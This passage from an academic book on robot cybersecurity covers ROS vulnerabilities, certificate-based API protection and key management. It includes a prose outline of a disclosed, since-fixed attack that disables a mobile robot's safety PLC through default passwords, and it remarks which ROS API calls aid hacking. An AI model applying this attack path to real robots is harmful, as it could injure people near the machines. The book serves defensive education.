# An Introduction to Robot System Cybersecurity

Quanyan Zhu111Q. Zhu is with New York University, USA; E-mail<EMAIL_ADDRESS>Stefan Rass222S. Rass is with Universität Klagenfurt, Austria; E-mail:
<EMAIL_ADDRESS>Bernhard Dieber333B. Dieber is with Joanneum Research,
Austria; E-mail<EMAIL_ADDRESS>Víctor Mayoral Vilches444V. M.
Vilches is with Alias Robotics, Spain and Universität Klagenfurt, Austria;
E-mail<EMAIL_ADDRESS>
###### Abstract

Robotics is becoming more and more ubiquitous, but the pressure to bring
systems to market occasionally goes at the cost of neglecting security
mechanisms during the development, deployment or while in production. As a
result, contemporary robotic systems are vulnerable to diverse attack
patterns, and an a posteriori hardening is at least challenging, if not
impossible at all. This book aims to stipulate the inclusion of security in
robotics from the earliest design phases onward and with a special focus on
the cost-benefit tradeoff that can otherwise be an inhibitor for the fast
development of affordable systems. We advocate quantitative methods of
security management and design, covering vulnerability scoring systems
tailored to robotic systems, and accounting for the highly distributed nature
of robots as an interplay of potentially very many components. A powerful
quantitative approach to model-based security is offered by game theory,
providing a rich spectrum of techniques to optimize security against various
kinds of attacks. Such a multi-perspective view on security is necessary to
address the heterogeneity and complexity of robotic systems. This book is
intended as an accessible starter for the theoretician and practitioner
working in the field.

###### Contents

  1. 1 Introduction to Robot Security
    1. 1.1 The Need for Cybersecurity in Robotics
      1. 1.1.1 What are special requirements for cybersecurity in robotics?
    2. 1.2 Overview of Security Challenges and Solutions
    3. 1.3 Need for Quantitative Methods
  2. 2 Cyber Issues, Security Architectures and ROS Vulnerabilities
    1. 2.1 The Robot Operating System
    2. 2.2 Vulnerabilities of the Robot Operating System
    3. 2.3 Securing the API
      1. 2.3.1 Cryptographic Certificates
      2. 2.3.2 Certificate and Key Management
      3. 2.3.3 How Defenses Work
    4. 2.4 Vulnerabilities of AI-Enabled Robotic Systems
  3. 3 Security of Networked Robotic Systems
    1. 3.1 Security in ROS Networked Systems
      1. 3.1.1 Instrumenting the ROS data layer graph
      2. 3.1.2 The ROS computational graph
      3. 3.1.3 The ROS data layer graph
      4. 3.1.4 Intrusion and Anomaly Detection
    2. 3.2 Security for Industrial Multi-Agent Robotic Systems
      1. 3.2.1 $A_{1}$: Targeting ROS-Industrial and ROS core packages from adjacent networks
      2. 3.2.2 $A_{2}$: Targeting underlying network protocols
      3. 3.2.3 $A_{3}$: Targeting a Control Station through a PitM attack
      4. 3.2.4 $A_{4}$: Targeting a vulnerable robot endpoint to compromise the network
  4. 4 Security Practice and Design
    1. 4.1 Penetration Testing
    2. 4.2 Vulnerability Scanning
    3. 4.3 DevSecOps
    4. 4.4 Relevant International Standards
  5. 5 Game Theory for Robotic System Security
    1. 5.1 Introduction by Example: Chasing the Adversary on Attack Graphs
    2. 5.2 Introduction to Security Games and Strategic Defenses
      1. 5.2.1 Models and Security Games
      2. 5.2.2 Structural and Operational Security
    3. 5.3 Multi-Stage and Multi-Phase Games
      1. 5.3.1 Signaling Games for Multi-Phase Security
      2. 5.3.2 Games-in-Games Model
      3. 5.3.3 Resilient Control Mechanisms and Real-Time System Performance
    4. 5.4 Examples of Game-Theoretic Analysis
      1. 5.4.1 Signaling Games and UAV
      2. 5.4.2 Jamming Games and Multi-Agent Systems
  6. 6 Discussions and Conclusions

##  Chapter 1 Introduction to Robot Security

Robotic technology has been around for many years now with its main
application being in automation where millions of robots have been deployed
over the past decades. In recent years, inflexible automation is starting to
shift out of focus of the robotics research and we move towards using robots
in flexible manufacturing (marching towards lot size 1) and intralogistics.
Service robots are set out to pervade also non-industrial areas like
healthcare as well as public and private spaces. The gain in flexibility and
capabilities of modern robots has been largely fuelled by the convergence of
classical computing and networking technology with robotics. The new
generation of robots cannot perform their tasks without being connected to the
outside world. Flexible manufacturing and intralogistics robots need to be
connected to manufacturing execution systems and fleet management services.
Service robots are supposed to provide more value by being connected to the
cloud to retrieve commands and updates. While the new capabilities make the
areas of application for robots broader, they also become susceptible to
external manipulation. This new threat from the cyber world has not yet been
sufficiently addressed up to now.

In this book, we review the causes of robot insecurity also reflecting the
underlying causes like complexity and market pressure. We present the
vulnerabilities and potential fixes of the most important software framework
in robotics. Then, we describe modern approaches to securing robots including
processes and standards but most importantly also present the potential
benefits promised by the introduction of quantitative security methods.

###  1.1 The Need for Cybersecurity in Robotics

A robot is in general a complex machine which is by itself difficult to
design, build and program. The main focus when building a robot is in making
it reliable and safe. Security is often of a lower priority since it adds even
more complexity to building the robot. In addition, cybersecurity has
traditionally not been a concern when designing or using robots since
classical industrial applications of robots did not require any connectivity
to the outside. With the current trend towards connected robots, however, a
technology that is not fit for this trend meets all the threats that come with
connecting robots. Generally speaking, today’s robots are easy prey even for
less skilled attackers since security achievements that have been successfully
used in the IT area in the past three decades like firewalls, hardened
endpoints, or encrypted communication are typically not part of a robotic
system. In addition, a security-oriented mindset is also hardly taught in the
education of roboticists.

####  1.1.1 What are special requirements for cybersecurity in robotics?

In general, cybersecurity for robotics draws from the methods of IT-security.
However, there are specialties in robotics, that need additional consideration
[76]. First and most obviously, robots are cyber-physical systems and as such,
they have a representation in the physical world. This yields two security-
relevant aspects. First, robots can be physically manipulated. Too often, we
find exposed network- or USB-ports in robots that can easily be exploited by
an attacker. This is especially problematic with mobile robots that move
autonomously in little-controlled areas. Second, robots can have significant
impacts on the physical safety of persons around them. In general, the
regulations for robot safety are very strict to prevent any human harm by a
robot. However, much of the required safety functions can be attacked remotely
thus, effectively rendering the safety methods useless. Despite this, safety
regulations do not (yet) require security measures to be put into place.
Section 1.1.1 shows a PoC attack that demonstrates the seriousness of this
issue.

Robots that are used in automation are also aimed at high availability. This
means that they should preferably non-stop. Thus, as it is common in OT,
industrial robots are not commonly supplied with regular updates that could
fix vulnerabilities.

##### A PoC to remotely disable a robot’s safety subsystem

A practical attack on a robot’s safety subsystem has been presented in [138].
The target of the PoC was a mobile robot for transport tasks in the industry.
The safety system of the robot is responsible to stop the platform before it
hits an obstacle. This is realized using safety-rated laser scanners that are
connected to a safety PLC that cuts the power to the motors in case an object
is too close to the robot. Figure 1.1 shows a logical overview of the
aforementioned components and their interconnections.

Figure 1.1: A logical overview of the internals of a MiR-100 robot (from
[138])

Due to several misconfigurations and negligence of standard security
procedures (like changing default passwords), it is possible to retrieve,
manipulate and re-upload the safety program logic running on the dedicated
safety PLC in the robot. The robot itself hosts a WiFi hotspot that uses a
default password. Access to the WiFi also provides access to all connected
devices since no network separation policy is in place. Thus, an attacker
could easily gain access to the robot’s internal network. The safety PLC is
connected to the robot’s internal network. During its integration, the default
password required to upload a program to the PLC was not changed. The attacker
can access the PLC via WiFi and download the program stored on it. After a
simple change that renders the laser scanners’ inputs useless, the program can
be re-uploaded. From this point on, the robot will still detect obstacles but
it will not stop for them. Since those robots can carry up to 250kg, they pose
significant health risks when they collide with a person. Note, that in course
of the modifications, not only the safety laser scanners but also the
emergency stop can be rendered useless.

The vulnerability described has been acknowledged by the robot manufacturer
and was fixed in the meantime. Still, it shows how easily robots can be
attacked and that establishing security practices in robotics is highly
necessary.

###  1.2 Overview of Security Challenges and Solutions

Robotic security adds a dimension of physical interaction to the requirements
of general information security. Contrary to classical protection of data from
theft, manipulation, etc., a physical consequence of a data breach is usually
not in the center of attention there, but not so for robotics. The intended
close contact, up to collaboration, with humans, adds its own set of security
requirements beyond the classical CIA+ (confidentiality, integrity,
availability, and authenticity), and also induces ethical challenges. Those
get more involved by the fact that robot systems are often heterogeneous,
making the assignment and taking of responsibilities difficult in light of
many actors being involved.

This book is focused on the technical possibilities of implementing security,
reaching up to industrial standards, and best practices to follow when
building a secure robot. Chapter 2 sets the ground by reviewing the ROS as a
popular (de facto standard) platform to run robot systems, thereby pointing
out some threats and countermeasures that can be addressed “classically”
(i.e., using standard security mechanisms). The distributed nature of
robotics, however, calls for a broader view extended to cover the interaction
of possibly many components, which has its challenges. Among them are the
necessary division of views (dividing data layers vs. computational graphs,
etc.) and the treatment of multi-agent systems as groups in which possibly
many players can become hostile or otherwise deviate from the intended
orchestration. We discuss security along these lines in Chapter 3. Experience
with vulnerabilities and successful attack reports have led to the development
of various tools and methods to help designers of a robot system with testing
and general security management, and Chapter 4 is devoted to an introduction
and overview of these practices. Conditional on an understanding of the
overall diversity and interdependency in robot systems, partially gained with
help of tools, but also proper design processes (e.g., DevSecOps), one can
proceed further by defining mathematical models to quantify and thereby
optimize security systematically, as an account for the tradeoff between
investment, time to market pressure, and the security achievable under budget
and time limitations. This model-based economic approach to security, see
Figure 1.2, including the technical and organizational practices relative to
security cost-benefits, is what game-theoretic techniques can help with.

Figure 1.2: This book investigates challenges, quantitative modeling and the
practice of cybersecurity issues in robotic systems.

Chapter 5 provides a primer to game theory, starting with an introduction by
the example of a game describing a penetrating adversary versus a defending
security officer, to illustrate the overall idea of how mathematical games are
applicable to security. From this, we take a deeper dive into the variety of
game-theoretic models designed for security, and how to combine them into
bigger models of robot systems. The diversity and heterogeneity of a robot
system are thereby matched with the (equal) diversity of game-theoretic
security models tailored to many different scenarios of attack and defense.
Chapter 5 is meant as a starting point here.

We remark that this book does not intend to cover non-technical matters like
ethics or the generalities of development processes, staff recruiting and
human resources security, or legal issues like liabilities or insurance.
Without doubting their relevance for robot security, their discussion and
treatment are out of our scope here. A survey of all known threats is not the
focus of this book. We refer the reader to the lot of existing work in this
direction, partly coming from other domains (as provided by [48], [132] and
others) but also related explicitly to robotics, such as the work of [69] and
the [91]. Since robots are special cases of general distributed cyber-physical
systems, threat taxonomies from this larger area apply well for robotics too.
Furthermore, risk management standards like ISO31000 or IEC-62443, discussed
in Section 4.4, provide threat categorizations and ways to systematically
identify, classify, and address cyber-security along all virtual and physical
aspects. We thus refrain from deep dives into taxonomies here, for the sake of
discussing a useful practical tool being the classification of threats along
with a common set of attributes to rank threats and vulnerabilities in terms
of severity, efforts to fix, and other security management related aspects. We
pay explicit attention to such methods, specifically the RVSS [75] as an
extension to the popular CVSS, later in Section 4.2.

###  1.3 Need for Quantitative Methods

A robot is a system of systems. One that comprises sensors to perceive its
environment, actuators to act on it and computation to process it all and
respond coherently to its application [142]. We can divide robotic systems
into two layers, as illustrated in Fig. 1.3. One is the OT layer which
consists of devices and components that directly monitor and control the
mechatronic processes and events, such as autonomous vehicles, robotic arms,
and humanoids. The other one is the IT layer which consists of information and
communication devices that collect, communicate, and process data, such as
computer networks, cloud computing, and servers. Many robotic system designs
often view safety as one of the major OT-level system criteria. The design for
safety is an integral part of the systematic methodologies in the design
process. On the contrary, cybersecurity at the IT-level is not yet a key
factor considered in the design of robotic systems. When security issues
arise, add-on solutions such as patching and firewalls are introduced to
harden the system security. However, these solutions can be easily evaded by a
sophisticated attacker as we have seen in recent APT. An attacker can leverage
social engineering, stay stealthy in the system for a prolonged period of
time, and learn the system configurations to acquire credentials and escalate
privilege to reach the asset. The defective IT-security is a potential cyber
hazard for OT-safety.

Figure 1.3: The integration and interaction between IT and OT in robotics

It is essential to see that OT-level safety and IT-level security are
intertwined. The ignorance of IT-security will enable an attacker to take over
the control of OT and create human-induced devastating incidents. Reversely,
the goal of IT-security is to provide the necessary support to OT to provide
performance assurance and dependability. It is insufficient to focus merely on
OT-level safety issues and adopt perfunctory solutions to protect the IT from
advanced attacks.

Quantitative metrics and frameworks play an essential role in a formal
understanding of the IT/ OT interdependencies and the development of risk
assessment tools and security solutions. Game theory is a promising scientific
method to address this need. Game theory has a long history since the 1950s
and a rich set of analytical and computational tools that can be used to
capture the competitive and strategic behaviors between an attacker and a
defender. The solid mathematical foundation of game theory provides a rigorous
framework to analyze and predict the outcome of the interactions between an
attacker and a defender.

Game theory provides a theoretical underpinning for the analysis of this
tradeoff between security and performance under a prescribed set of attack
models. A standard normal-form game is composed of three elements: players,
action sets, and utility functions or preferences over action sets. The action
sets can encode the system constraints, while the utility function can capture
the IT and OT performances and their interplay. The interdependencies between
the IT and the OT can be formally described by specifying the preferences over
the set of joint IT/OT configurations and designs.

Not only does the game framework encode the key design features, the
equilibrium concept of games but also provides a predictive outcome of the
interactions, where no parties have the incentive to deviate from their
actions unilaterally. The analysis of the equilibrium solution enables the
quantitative risk assessment in a strategically adversarial environment. In
addition, the analysis of equilibrium strategies of the game leads to a new
paradigm of security solutions. Instead of aiming for a perfect security
solution, which is either cost-prohibitive or practically impossible, game
theory enables the design of best-effort IT-and- OT-security by taking into
account the security objectives of the systems, the system resource
constraints, and the attacker’s capabilities.

Modern extensions of the game-theoretic framework by including uncertainties,
epistemic modeling, and learning dynamics enable the creation of sophisticated
defense mechanisms such as autonomous and adaptive strategies, moving target
defense, and cyber deception. The defense mechanisms can go beyond the
traditional manual and static configurations to dynamic, data-driven, and
automated operations of defense. In addition, the game models can be
sequentially composed to capture the multi-stage and multi-phase nature of
APT. Each game model represents a modularized interaction in a subsystem. The
composition of multiple games pieces together a holistic view of the multi-
dimensional dynamic interactions in the entire system, which include the ones
between the defender and the attacker, as well as the ones between subsystems.
The holistic game is also called games-in-games, where one game is nested in
the other games. This structure enables the defense to localize the attack
behaviors by zooming into a local subsystem and optimize the system-wide
performance by zooming out to view the system holistically.

Chapter 5 will first provide an introduction to game-theoretic methods by an
example of an attack-graph game. The second part of the chapter will present
an overview of security games and their applications. One important class of
games that are useful to address sophisticated attacks is the multi-stage and
multi-phase security game. Game models for multiple subsystems at different
phases can be composed together to address the complex security problems
holistically. The chapter presents sever to elaborate on game-theoretic
methodologies. One case study presents a cyber-physical signaling game to
develop an impact-aware trust mechanism that can reject high-risk inputs and
mitigate the physical damages. The second case study introduces a jamming game
between a jammer and a team of robots that aim to reach consensus through
mutual pursuits and communications. A multi-stage game is formulated to
analyze the equilibrium and develop anti-jamming strategies.

##  Chapter 2 Cyber Issues, Security Architectures and ROS Vulnerabilities

Many technological advancements of the past decades have now also converged in
the field of robotics. Mainly, the large-scale use of general-purpose
computing techniques (hardware, operating systems, and software) has
dramatically sped up the development and increased the flexibility and
potential of robots. This trend counters the approach of robot manufacturers
of the past decades to aim for locked-in, all-in-one solutions comprising the
robot, its controller, and the corresponding programming environment. As now
robotics can be approached with methods from general-purpose computer software
development, also the advanced approaches developed therein are starting to
dominate. In modern robotics, one framework dominates the development efforts
like no other.

###  2.1 The Robot Operating System

The ROS [107] is a middleware system that has become the most popular platform
for robot development. It coordinates multiple, distributed functional units
called nodes. Nodes are individual processes that have their own lifecycle and
are orchestrated into an application. The central entity for coordination and
brokerage is the ROS master. This is a dedicated process running on one of the
hosts in the ROS network which has a directory of all nodes and the data they
provide or consume.

At its core, ROS supports the publish-subscribe communication pattern. This
pattern can be used to decouple components from each other and use well-
defined interfaces to connect them. Publish-subscribe in ROS is topic-based
i.e., ROS creates a virtual bus for each topic that subscribers can attach to
receive the published information. As an example, a ROS sensor node that
retrieves images from a camera will publish this information on a specific
topic. All nodes that require this data can subscribe to it. For both, the
publisher and the subscriber it is transparent who the respective
communication partner is exactly. Thus, it is easy to exchange nodes in a ROS
network as well as it is easy to add new ones or re-purpose existing
implementations to new applications. On startup, a publisher node will contact
the master and declare which topics it publishes. Similarly, a subscriber will
tell the master which topics it requires. As soon as there is a publication-
subscription match, the master contacts the subscriber with a list of
potential publishers for its topic. The subscriber will then contact the
publisher and further communication is done bilaterally between the two nodes
without the inclusion of the ROS master. In this communication, ROS supports
TCP as well as UDP (called henceforth ROSTCP and ROSUDP respectively).

In addition to publish-subscribe, ROS supports client-server-style
communication using services. A service has a unique name and can
synchronously be queried by a client. A service can be used to e.g., retrieve
or set a piece of specific one-time information like a state or a
configuration. The ROS master keeps an index of all registered services which
can then be queried by a service client to lookup connection information for a
specific service.

The third, logical, communication pattern in ROS are actions. Actions are used
to encapsulate long-running, preemptable tasks like sending a mobile robot to
a certain location in a room. Actions are realized using five different
publish-subscribe topics. The action goal is sent from the action client to
the action server to trigger the action. The action server will provide a
state and feedback to the client while the action is running (e.g., the
information that the action is being executed along with the current location
of the mobile base while it is moving). A result topic will inform the client
of the final outcome (e.g., the final position of the robot). A dedicated
cancel topic can be published by the client to terminate the ongoing action.
Since actions are wrapped around the publish-subscribe topic, the
aforementioned brokerage process between publisher, subscriber, and ROS master
is also performed for each of the action topics.

Besides its inherently distributed—and thus scaleable—nature, ROS also
provides an extensive and ever-growing package repository of robot drivers,
algorithmic packages and tools that greatly facilitate the development of
robot applications.

The main programming languages in the ROS environment are C++ and Python. But
since the ROS communication interfaces are defined independently of any
language, there are various other implementations e.g., for Java, C#,
JavaScript, and others. While this results in broader support for ROS, it also
causes the implementations to sometimes diverge from each other (not even C++
and Python versions are identical in functions) and have compatibility issues.
This might also be a factor in the reluctance of the ROS developers to fix the
vulnerabilities mentioned in the next sections. In order to fix those, changes
to the communication structure would be required in all existing
implementations causing immense efforts.

As of 2021, according to the official wiki111https://robots.ros.org/, ROS is
compatible with around 170 different robots or robot series (e.g., a whole
range of ABB robots is subsumed into one entry) for a wide variety of purposes
including industrial manipulators, mobile, aerial and marine robots.

###  2.2 Vulnerabilities of the Robot Operating System

As of its initial version, ROS was not designed with security in mind [78].
The underlying publish-subscribe mechanism is naturally open in both
directions, letting all components of a system register as publishers, or
subscribers, or both. The absence of mechanisms to restrict the registration
under any of the two roles creates flexibility when it comes to adding,
removing, or replacing components in a system, but at the same time induces
the obvious likewise vulnerability of malicious components or messages coming
in easy.

To see where and how security in ROS looks like, let us adopt the abstract
view on ROS being a communication platform over which three basic classes of
entities talk to each other [36]:

  * •

the ROS master, who manages parameters, service registration, and other stuff,
as a central node with essentially a unique (physical) appearance

  * •

ROS talkers, which can be components of diverse nature and physical form,
unified by the common behavior of publishing topic data,

  * •

and ROS listeners, which like the talkers are not bound to a specific physical
or logical appearance, and whose role is the reception of topics on which the
talkers publish.

The term _node_ will hereafter comprise components from all three of the above
types.

The division of entities as outlined above implies a diverse API, whose
division is not according to the above classes of entities, but rather w.r.t.
the kind of action. We distinguish API for the master from those of _slave
nodes_ , comprising publishers and subscribers, and as a third type, the
_parameter API_ , whose purpose is the management of global configuration
parameters. The associated server instance for the parameter API runs along
with the ROS master as a centralized service. Having this central point allows
for notifying nodes about changes in parameters by invoking callbacks for
namespaced parameter keys, which nodes may register for.

###### Master API:

The master’s role is to act as a registration authority, perhaps also as an
IDM, but essentially is there to manage parameters and services existing in
the system. As such, it offers at least the following types of
calls222http://wiki.ros.org/ROS/Master_API:

  * •

Registration and unregistration of subscribers, publishers, and services

  * •

Directory services (lookups) for nodes and services, which require or return
URI of the respective nodes or services, according to [72]

  * •

Queries to retrieve the internal state of the master, to get details of the
entire topology of the ROS system, including all publishers, subscribers, and
services, and deep details thereof.

###### Parameter API:

The parameter server is a part of the ROS master. It provides nodes with pre-
defined values for configuration items. This central storage makes it easier
to configure and reconfigure a ROS system. As expected, the functions provided
herein are333http://wiki.ros.org/ROS/Parameter%20Server%20API

  * •

setters and getters for parameters,

  * •

but also the possibility to delete parameters,

  * •

queries about existence (has), search for (search), or listing (list) the
currently known parameters,

  * •

and finally (and most importantly for attackers), the ability to be notified
upon parameter changes. That is, a node can call subscribe to provide a
callback routine (inside the node) that the parameter server will call upon
every change of the parameter value. Of course, calling unsubscribe terminates
these notifications.

###### The Slave API

Both, publishers and subscribers, maintain this
API444http://wiki.ros.org/ROS/Slave_API for receiving callbacks from the
master, negotiating connections with other nodes, and do system calls for
orchestration and monitoring. In detail, the API provides the following:

  * •

update callbacks to notify subscribers about activities by publishers, or
changes of parameters

  * •

request calls for topic transport information. Since the update callback is
merely a notification, it remains the subscriber’s duty to actively contact
the publisher for details on the topic, establish a connection over ROSTCP or
ROSUDP, and open a separate channel and socket for the data transmission.

  * •

getters for various purposes, mostly related to troubleshooting and status
queries (like subscriptions, publications, URI, etc.)

  * •

shutdown, as a signal for a node to self-terminate. This signal may be
required by the master to resolve namespace conflicts or to replace
malfunctioning nodes with others or new ones. This latter purpose of “self-
healing”, however, requires an explicit node health monitoring that ROS does
not ship with, so it must be established independently and in addition.

The latter two classes of API calls are particularly useful for hacking ROS,
since the getters for debugging and troubleshooting deliver rich information
about the system, and the shutdown signal has an obvious use if it is not
restricted to the master, and no other node.

###  2.3 Securing the API

The bottom line is that all API calls need security in at least the following
aspects:

Integrity:

almost self-explanatory, it is necessary for a node when transmitting or
receiving data to safely rely on its correctness. From a cryptographic
perspective, we distinguish intended from unintended modifications, and
(cryptographic) checksums can counteract only the latter case of modification.
Thwarting adversarial influence on parameters needs stronger concepts, but can
in many cases be built into an authentication mechanism.

Authenticity:

once a connection has been established, it is vital for both parties to assure
the other entity’s identity and, more importantly, its eligibility for the
intended purpose of the connection. For example, if a component registers as a
sensor, there is no assurance for a subscriber that whatever information sent
out is really coming from a device that _is_ a sensor, or not. Plain
authenticity is not enough here, since understood as the verification of
identity, the cryptographic assurance that device $X$ published on topic $T$
is in itself no certificate that $X$ is capable of speaking about $T$. Such
assurance calls for an independent trusted party that certifies a component as
serving the claimed purpose or filling the presumed role, whether this may be
the role of a sensor, an actor, some general device, and – perhaps most
importantly – the ROS master itself.

Standard cryptographic mechanisms can perfectly handle this job since
cryptographic certificates can provide arbitrary assurances about the type,
role, rights, or other conditions guards of an API call. We will postpone this
discussion until later, and for now, assume that the identity of a node has
been _verified_ 555it is necessary to distinguish the verification of identity
from its determination. The latter is the (distinct) notion of
_identification_ , whereas the mere verification of a claimed ID is
authentication. Neither implies the other in general..

Authorization/Access control:

not all API calls are admissible for all nodes, and the decision of whether or
not a call is legitimate requires an assured ID. For example, only the master
should be allowed to send a shutdown signal. Likewise, a sensor is typically
an entity that only emits information, but does not process it. As such, its
rights should be restricted to publishing, but not subscribing. Reality is in
most instances more complex than the simple classification of these two
examples, but the bottom line is that the construction of a ROS system should
respect _separation of duties_ , and _need-to-know principles_ , whose
enforcement is up to access control mechanisms. Maintaining access control
lists, granting and revoking rights is a separate administrative duty that may
be taken over by the ROS master upon registration of nodes, but can equally
well remain a duty of an external (human) system operator.

Confidentiality:

while seemingly an obvious requirement, it may be considered here as the
lowest priority goal, since many signals exchanged between ROS nodes may not
classify as sensitive information, or may self-disclose instantly upon their
effect. For example, if the signal is about a robot arm to move along a
certain trajectory or stop in presence of an obstacle, the physically visible
effect will indicate what the (perhaps confidential) signal has been.

An implementation of such cryptographic protection needs to be done with the
two-layer API structure in mind that ROS has, which instantiates the above
requirements individually different depending on the layer:

  * •

On the control layer for signaling, confidentiality may not be a top priority,
since the physical reaction may reveal the signal anyway. However,
authenticity and access control are most crucial. Otherwise, it may be
possible to tamper with the ROS communication graph (e.g., isolating
publishers or presenting fake publishers to subscribers)

  * •

On the communication layer on which the actual information flows, the
priorities of the above requirements may change accordingly, for example,
putting integrity higher up on the importance list.

Overall, securing the API is generally insufficient, since it can in any case
only address the “cyber”-part of the cyber-physical system that a robot is,
and hence is only half of the story. A comprehensive security design on the
level of orchestrating mechanisms appropriately is required and postponed
until Chapter 3. To illustrate cryptography as a core, yet basic, mechanism,
let us continue our deep dive into this example for the next two sections,
exhibiting their efficacy in Section 2.3.3.

####  2.3.1 Cryptographic Certificates

Certificates are a concept from asymmetric cryptography, and loosely speaking
are bindings of keys to identities, not per se saying how identity is defined
or understood. Generically, any combination of attributes or other
characteristics that uniquely distinguish an individual or entity inside a
larger well-defined group can serve as an identity. The important point herein
is that the term is always related to a group, relative to which the identity
is one, and the same ID can lose its identifying property once the group
changes by losing or gaining members. Given that ROS is a flexible and open
system, the ROS master appears as the natural candidate point to establish an
IDM. Once identities are defined and available, certificates can be issued. In
its plain form, contains at least the following entries:

  * •

information about the certificate owner’s ID; here a device or component

  * •

one or more cryptographic keys that shall be linked to the identity

  * •

a digital signature from a trusted authority, called a CA, which is verifiable
via a widely known (separate) public key.

To make our notation more rigorous and compact, we will use angled brackets to
denote tuples of information items that are digitally signed under a key added
as a subscript. That is, a certificate would be the above quadruple, singed
under the public key $pk_{CA}$ of the CA, and denoted as

$\left\langle\text{owner},\text{key(s)}\right\rangle_{pk_{CA}}$ (2.1)

Continuing the notation, we will write $pk$ to mean _public keys_ , $sk$ to
mean _private keys_ , which is primarily but not exclusively needed for
verification of digital signatures here. The terms “public” and “private” are
hereafter and throughout this article reserved for asymmetric cryptography,
whereas the variable $k$, coined a _secret_ key, will exclusively be used to
mean symmetric cryptographic schemes. We will keep and not change this
notation in the whole work in the context of cryptography, where the user will
be unambiguous.

For encryption of a message $m$ under a key $k$ or $pk$ we will use the
likewise notation

$\llbracket m\rrbracket_{k},\text{resp.}\quad\llbracket m\rrbracket_{pk}$

where the $k$ or $pk$ respectively points out the encryption as symmetric
($k$) or asymmetric $(pk)$. Note that this notation likewise applies for the
symmetric counterpart of a digital certificate, which is a MAC (see, _e.g._ ,
[46]). While (2.1) is computed by the signing function of the public key
signature scheme of choice (e.g., DSA [106], RSA [62] or others), the
symmetric sibling would be hashing the (reversible) concatenation of data
items under the respective secret key.

Standardized certificates extend the above list by a diverse set of additional
information, which in our case can include arbitrary additional information
about the registering component. Returning to our previous discussion on
access control and its preceding authentication, adding security to the ROSAPI
can proceed as follows, presuming a central CA that all parties, here being
the vendors of components, and the administrative parties running the actual
ROS system:

  1. 1.

upon manufacturing, a device receives information about its type (sensor,
actor, _etc_), a unique ID, and any other information relevant or needed by
the system engineers.

  2. 2.

upon installment of the new component in the ROS system, the first step after
physically connecting the device is registering it with the ROS master. To
this end, the ROS master would perform the following steps:

    1. (a)

check the certificate that the device brings in upon registration, to verify
that the device is of an admissible type, and to determine which rights
according to the security policy, the new component should receive. This
granting or revocation of rights can be based on the device type, group that
it is assigned to, or role that it should take in the system. Essentially, the
process can resemble the standard approach of RBAC which we do not describe in
deeper detail here.

    2. (b)

once the ROS master has compiled a white-list of admissible API calls, it can
itself issue a certificate for the device in which this list is an integral
part so that upon every subsequent API call, the device can show the
certificate that it received from the master, as an authorization token to
make this call. This finishes the cryptographic part of the registration. The
certificate would thus contain the following information, wrapped in a digital
signature issued by the master:

$\left\langle\text{device {ID}},\left\\{\text{list of permitted {API}
calls}\right\\}\right\rangle_{pk_{\text{ROS-master}}}$ (2.2)

The computational cost of public-key cryptography may come in negative here,
since the cryptographic validation of certificates each time an API call is
made may significantly slow down the overall system performance. To escape
this issue, one can use the first-time contact to establish a shared secret,
and subsequently resort to symmetric methods of authentication by MAC. The
overall narrative is that the certificate from the vendor is one-time required
for the master to validate the component and determine its rights in the ROS
system. Likewise, upon the _first_ API call to another component would need a
cryptographic verification of the caller’s rights as issued/granted by the ROS
master via the caller’s certificate. Once this verification succeeded, the
component can run a secret key exchange (e.g., a Diffie-Hellman protocol or
others), with the caller to establish a shared secret that it jointly stores
together with the list of permitted API calls. Let us denote such a secret
shared between components $A,B$ by $k_{A,B}$. It allows for fast verification
of permission using symmetric encryption only. The scheme is generally an
instance of challenge-response authentication:

  1. 1.

The caller $A$ picks a random value $r$ and sends its API call api-call,
together with $r$ encrypted under $k_{A,B}$, i.e., $B$ receives the API call
message

$\llbracket\texttt{api-call},hash(\texttt{api-call})\rrbracket_{k_{a,b}}$

in which $hash$ is a cryptographic hash function. The purpose of it is to make
false decryption recognizable by a mismatch of the checksum that the callee
would compute after decrypting the message. If the api-call is itself subject
to some redundancy scheme, say, if there is a textual representation of the
called function or others, then the additional checksum may be spared; yet it
is generally advisable to add such redundancy.

  2. 2.

A correct decryption of the call is already an implicit authentication of the
caller at the same time since the key under which the call correctly decrypts
is uniquely associated with the caller. Thus, there is a binding of the call
to the caller, and on the receiver’s side, the key is in turn bound to the
list of permitted API calls, thus before executing or responding to the call,
the receiver can dig up the list of permitted calls from (2.2) and check if
the called method is among them.

Summarizing the conceptual protection, we have the following sequence:

authentication (identity verification) $\to$ authorization (check of rights by
the ROS master) $\to$ registration (along which the ROS master issues a
certificate to the ROS node as authorization token)

with the _first_ API call proceeding along the sequence:

verify the certificate of the caller $\to$ establish a shared secret and store
the API permissions $\to$ check permissions and respond to call

and all subsequent (second and later) calls processing along the faster lane:

symmetrically decrypt the call under the secret shared with the caller’s ID
$\to$ load the API permissions of the caller $\to$ check permissions and
respond to call.

This presentation is intentionally generic and in a practical implementation
needs more details, such as adding the caller’s and receiver’s identities in
the transmissions. An aspect left untouched so far concerns key and
certificate management, which we look into next.

####  2.3.2 Certificate and Key Management

Managing credentials is human labor to the extent where it concerns
certificates, which have an expiration date. Certificates need to be stored in
a secured location, to prevent them from adversarial replacement; a TPM offers
a suitable hardware-based solution for this [34]. Other certificates are in
the above process directly computed by the ROS master itself, which is yet
best implemented in the TPM as well, as it requires the storage and secured
use of private signature keys.

###### Registration of Components:

it is generally advisable to pursue a whitelisting approach in the
registration checks that the ROS master runs. That is, the ROS master should
store (non-malleably) a list of permitted devices, against which a newly
registered component is checked, and rejected upon not being on the white
list. Otherwise, if the device is admissible, the ROS master can open a TLS
session to secure the communication with the new device, using a security
suite with forward secrecy (e.g., ECDHE-ECDSA-AES256-GCM-SHA384, _i.e._ ,
Diffie-Hellman key exchange, digital signatures, symmetric encryption by the
AES [79] in GCM [28], and with $hash$ being the SHA algorithm with 384 bit
output [46, 45]). The point of forward secrecy herein means that the keys are
short-lived, in the sense that the discovery of a key for one session does not
help to decrypt any follow-up sessions. In other words, the key agreement
needs to be repeated from time to time, leaving the long-term secrets to be
only the private signature keys, which no component other than the ROS master
needs to store. Essentially, the public key of the new device is only used to
authenticating the parameters of the key agreement (Diffie-Hellman over
elliptic curves in this example), but not for the encryption of the session
key for the registration process (i.e., symmetric encryption of messages for
this communication). Once the TLS session is established, the ROS master can
replace all pre-installed keys, _a.k.a._ transport keys, and certificates with
new ones. A malicious manufacturer can, depending on the key exchange
mechanism, still record all messages transmitted during the replacement of the
transport keys can thus get hold of the new keys (and certificates). To
prevent this, one needs to run the key replacement protocols in a closed
environment, _e.g._ , under the supervision of the system administrator and
other technical protections.

###### Unregistering of a Component:

